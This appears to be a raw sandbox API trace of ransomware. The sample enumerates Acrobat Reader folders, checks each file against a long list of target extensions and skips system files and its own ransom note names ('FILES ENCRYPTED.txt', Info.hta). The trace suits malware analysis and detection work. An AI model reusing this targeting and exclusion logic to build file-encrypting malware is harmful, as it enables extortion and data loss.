[0265.025] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".asx") returned 4 [0265.025] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".avi") returned 4 [0265.025] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".avs") returned 4 [0265.025] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".backup") returned 7 [0265.025] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.025] lstrlenW (lpString=".bak") returned 4 [0265.025] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".bay") returned 4 [0265.025] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".bd") returned 3 [0265.025] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.025] lstrlenW (lpString=".bin") returned 4 [0265.025] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.025] lstrlenW (lpString=".bmp") returned 4 [0265.025] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".bz2") returned 4 [0265.026] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".c") returned 2 [0265.026] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.026] lstrlenW (lpString=".cdr") returned 4 [0265.026] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".cer") returned 4 [0265.026] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".cf") returned 3 [0265.026] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.026] lstrlenW (lpString=".cfc") returned 4 [0265.026] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".cfm") returned 4 [0265.026] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".cfml") returned 5 [0265.026] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.026] lstrlenW (lpString=".cfu") returned 4 [0265.026] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".chm") returned 4 [0265.026] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".cin") returned 4 [0265.026] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.026] lstrlenW (lpString=".class") returned 6 [0265.026] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.027] lstrlenW (lpString=".clx") returned 4 [0265.027] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.027] lstrlenW (lpString=".config") returned 7 [0265.027] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.027] lstrlenW (lpString=".cpp") returned 4 [0265.027] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.027] lstrlenW (lpString=".cr2") returned 4 [0265.027] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.027] lstrlenW (lpString=".crt") returned 4 [0265.027] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.027] lstrlenW (lpString=".crw") returned 4 [0265.027] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.027] lstrlenW (lpString=".cs") returned 3 [0265.027] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.027] lstrlenW (lpString=".css") returned 4 [0265.027] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.027] lstrlenW (lpString=".csv") returned 4 [0265.027] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.027] lstrlenW (lpString=".cub") returned 4 [0265.027] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".dae") returned 4 [0265.028] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".dat") returned 4 [0265.028] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".db") returned 3 [0265.028] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.028] lstrlenW (lpString=".dbf") returned 4 [0265.028] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".dbx") returned 4 [0265.028] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".dc3") returned 4 [0265.028] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".dcm") returned 4 [0265.028] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".dcr") returned 4 [0265.028] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".der") returned 4 [0265.028] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.028] lstrlenW (lpString=".dib") returned 4 [0265.028] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.029] lstrlenW (lpString=".dic") returned 4 [0265.029] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.029] lstrlenW (lpString=".dif") returned 4 [0265.029] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.029] lstrlenW (lpString=".divx") returned 5 [0265.029] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.029] lstrlenW (lpString=".djvu") returned 5 [0265.029] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.029] lstrlenW (lpString=".dng") returned 4 [0265.029] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.029] lstrlenW (lpString=".doc") returned 4 [0265.029] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.029] lstrlenW (lpString=".docm") returned 5 [0265.029] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.029] lstrlenW (lpString=".docx") returned 5 [0265.029] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.029] lstrlenW (lpString=".dot") returned 4 [0265.029] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.029] lstrlenW (lpString=".dotm") returned 5 [0265.029] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.029] lstrlenW (lpString=".dotx") returned 5 [0265.030] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.030] lstrlenW (lpString=".dpx") returned 4 [0265.030] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.030] lstrlenW (lpString=".dqy") returned 4 [0265.030] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.030] lstrlenW (lpString=".dsn") returned 4 [0265.030] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.030] lstrlenW (lpString=".dt") returned 3 [0265.030] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.030] lstrlenW (lpString=".dtd") returned 4 [0265.030] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.030] lstrlenW (lpString=".dwg") returned 4 [0265.030] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.030] lstrlenW (lpString=".dwt") returned 4 [0265.030] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.030] lstrlenW (lpString=".dx") returned 3 [0265.030] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.030] lstrlenW (lpString=".dxf") returned 4 [0265.031] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".edml") returned 5 [0265.031] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.031] lstrlenW (lpString=".efd") returned 4 [0265.031] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".elf") returned 4 [0265.031] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".emf") returned 4 [0265.031] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".emz") returned 4 [0265.031] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".epf") returned 4 [0265.031] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".eps") returned 4 [0265.031] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".epsf") returned 5 [0265.031] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.031] lstrlenW (lpString=".epsp") returned 5 [0265.031] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.031] lstrlenW (lpString=".erf") returned 4 [0265.031] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.031] lstrlenW (lpString=".exr") returned 4 [0265.031] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.032] lstrlenW (lpString=".f4v") returned 4 [0265.032] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.032] lstrlenW (lpString=".fido") returned 5 [0265.032] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0265.032] lstrlenW (lpString=".flm") returned 4 [0265.032] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0265.032] lstrlenW (lpString=".flv") returned 4 [0265.032] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0265.032] lstrlenW (lpString=".frm") returned 4 [0265.032] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0265.032] lstrlenW (lpString=".fxg") returned 4 [0265.032] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0265.032] lstrlenW (lpString=".geo") returned 4 [0265.032] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0265.032] lstrlenW (lpString=".gif") returned 4 [0265.032] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".grs") returned 4 [0265.033] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".gz") returned 3 [0265.033] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0265.033] lstrlenW (lpString=".h") returned 2 [0265.033] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0265.033] lstrlenW (lpString=".hdr") returned 4 [0265.033] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".hpp") returned 4 [0265.033] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".hta") returned 4 [0265.033] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".htc") returned 4 [0265.033] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".htm") returned 4 [0265.033] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".html") returned 5 [0265.033] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0265.033] lstrlenW (lpString=".icb") returned 4 [0265.033] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".ics") returned 4 [0265.033] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0265.033] lstrlenW (lpString=".iff") returned 4 [0265.033] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0265.034] lstrlenW (lpString=".inc") returned 4 [0265.034] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0265.034] lstrlenW (lpString=".indd") returned 5 [0265.034] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0265.034] lstrlenW (lpString=".ini") returned 4 [0265.034] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0265.034] lstrlenW (lpString=".iqy") returned 4 [0265.034] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0265.034] lstrlenW (lpString=".j2c") returned 4 [0265.034] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0265.034] lstrlenW (lpString=".j2k") returned 4 [0265.034] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0265.034] lstrlenW (lpString=".java") returned 5 [0265.034] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0265.034] lstrlenW (lpString=".jp2") returned 4 [0265.035] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0265.035] lstrlenW (lpString=".jpc") returned 4 [0265.035] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0265.035] lstrlenW (lpString=".jpe") returned 4 [0265.035] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0265.035] lstrlenW (lpString=".jpeg") returned 5 [0265.035] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0265.035] lstrlenW (lpString=".jpf") returned 4 [0265.035] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0265.035] lstrlenW (lpString=".jpg") returned 4 [0265.035] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0265.035] lstrlenW (lpString=".jpx") returned 4 [0265.035] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0265.035] lstrlenW (lpString=".js") returned 3 [0265.035] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0265.035] lstrlenW (lpString="ui-strings.js") returned 13 [0265.035] lstrlenW (lpString=".love$") returned 6 [0265.035] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0265.035] lstrlenW (lpString="ui-strings.js") returned 13 [0265.035] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0265.035] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0265.035] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0265.036] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0265.036] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0265.036] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0265.036] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0265.036] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0265.036] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-cn\\ui-strings.js") returned 119 [0265.036] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x37e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.036] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0265.036] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0265.036] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0265.036] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw") returned 105 [0265.036] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw") returned 1 [0265.036] lstrlenW (lpString="zh-tw") returned 5 [0265.036] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-tw") returned -1 [0265.036] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0265.037] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw") returned 105 [0265.037] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0265.037] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.037] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3855, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.037] lstrlenW (lpString="ui-strings.js") returned 13 [0265.037] lstrlenW (lpString=".1cd") returned 4 [0265.037] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.037] lstrlenW (lpString=".3ds") returned 4 [0265.037] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.037] lstrlenW (lpString=".3fr") returned 4 [0265.037] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.037] lstrlenW (lpString=".3g2") returned 4 [0265.038] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.038] lstrlenW (lpString=".3gp") returned 4 [0265.038] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.038] lstrlenW (lpString=".7z") returned 3 [0265.038] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.038] lstrlenW (lpString=".accda") returned 6 [0265.038] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.038] lstrlenW (lpString=".accdb") returned 6 [0265.038] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.038] lstrlenW (lpString=".accdc") returned 6 [0265.038] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.041] lstrlenW (lpString=".accde") returned 6 [0265.041] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.041] lstrlenW (lpString=".accdt") returned 6 [0265.041] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.041] lstrlenW (lpString=".accdw") returned 6 [0265.041] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.041] lstrlenW (lpString=".adb") returned 4 [0265.041] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.041] lstrlenW (lpString=".adp") returned 4 [0265.042] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.042] lstrlenW (lpString=".ai") returned 3 [0265.042] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.042] lstrlenW (lpString=".ai3") returned 4 [0265.042] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.042] lstrlenW (lpString=".ai4") returned 4 [0265.042] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.042] lstrlenW (lpString=".ai5") returned 4 [0265.042] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.042] lstrlenW (lpString=".ai6") returned 4 [0265.042] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.042] lstrlenW (lpString=".ai7") returned 4 [0265.042] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.042] lstrlenW (lpString=".ai8") returned 4 [0265.042] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.042] lstrlenW (lpString=".anim") returned 5 [0265.042] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.042] lstrlenW (lpString=".arw") returned 4 [0265.042] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.043] lstrlenW (lpString=".as") returned 3 [0265.043] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.043] lstrlenW (lpString=".asa") returned 4 [0265.043] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.043] lstrlenW (lpString=".asc") returned 4 [0265.043] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.043] lstrlenW (lpString=".ascx") returned 5 [0265.043] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.043] lstrlenW (lpString=".asm") returned 4 [0265.043] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.043] lstrlenW (lpString=".asmx") returned 5 [0265.043] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.043] lstrlenW (lpString=".asp") returned 4 [0265.043] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.044] lstrlenW (lpString=".aspx") returned 5 [0265.044] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.044] lstrlenW (lpString=".asr") returned 4 [0265.044] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.044] lstrlenW (lpString=".asx") returned 4 [0265.044] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.044] lstrlenW (lpString=".avi") returned 4 [0265.044] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.044] lstrlenW (lpString=".avs") returned 4 [0265.044] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.044] lstrlenW (lpString=".backup") returned 7 [0265.044] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.044] lstrlenW (lpString=".bak") returned 4 [0265.044] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.044] lstrlenW (lpString=".bay") returned 4 [0265.044] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.044] lstrlenW (lpString=".bd") returned 3 [0265.044] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.044] lstrlenW (lpString=".bin") returned 4 [0265.044] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.045] lstrlenW (lpString=".bmp") returned 4 [0265.045] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.045] lstrlenW (lpString=".bz2") returned 4 [0265.045] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.045] lstrlenW (lpString=".c") returned 2 [0265.045] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.045] lstrlenW (lpString=".cdr") returned 4 [0265.045] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.045] lstrlenW (lpString=".cer") returned 4 [0265.045] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.045] lstrlenW (lpString=".cf") returned 3 [0265.045] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.045] lstrlenW (lpString=".cfc") returned 4 [0265.045] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.045] lstrlenW (lpString=".cfm") returned 4 [0265.045] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.045] lstrlenW (lpString=".cfml") returned 5 [0265.045] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.045] lstrlenW (lpString=".cfu") returned 4 [0265.045] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".chm") returned 4 [0265.046] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".cin") returned 4 [0265.046] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".class") returned 6 [0265.046] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.046] lstrlenW (lpString=".clx") returned 4 [0265.046] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".config") returned 7 [0265.046] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.046] lstrlenW (lpString=".cpp") returned 4 [0265.046] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".cr2") returned 4 [0265.046] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".crt") returned 4 [0265.046] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".crw") returned 4 [0265.046] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".cs") returned 3 [0265.046] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.046] lstrlenW (lpString=".css") returned 4 [0265.046] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.046] lstrlenW (lpString=".csv") returned 4 [0265.046] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".cub") returned 4 [0265.047] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".dae") returned 4 [0265.047] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".dat") returned 4 [0265.047] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".db") returned 3 [0265.047] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.047] lstrlenW (lpString=".dbf") returned 4 [0265.047] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".dbx") returned 4 [0265.047] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".dc3") returned 4 [0265.047] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".dcm") returned 4 [0265.047] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".dcr") returned 4 [0265.047] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".der") returned 4 [0265.047] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.047] lstrlenW (lpString=".dib") returned 4 [0265.048] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.048] lstrlenW (lpString=".dic") returned 4 [0265.048] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.048] lstrlenW (lpString=".dif") returned 4 [0265.048] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.048] lstrlenW (lpString=".divx") returned 5 [0265.048] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.048] lstrlenW (lpString=".djvu") returned 5 [0265.048] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.048] lstrlenW (lpString=".dng") returned 4 [0265.048] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.048] lstrlenW (lpString=".doc") returned 4 [0265.048] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.048] lstrlenW (lpString=".docm") returned 5 [0265.048] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 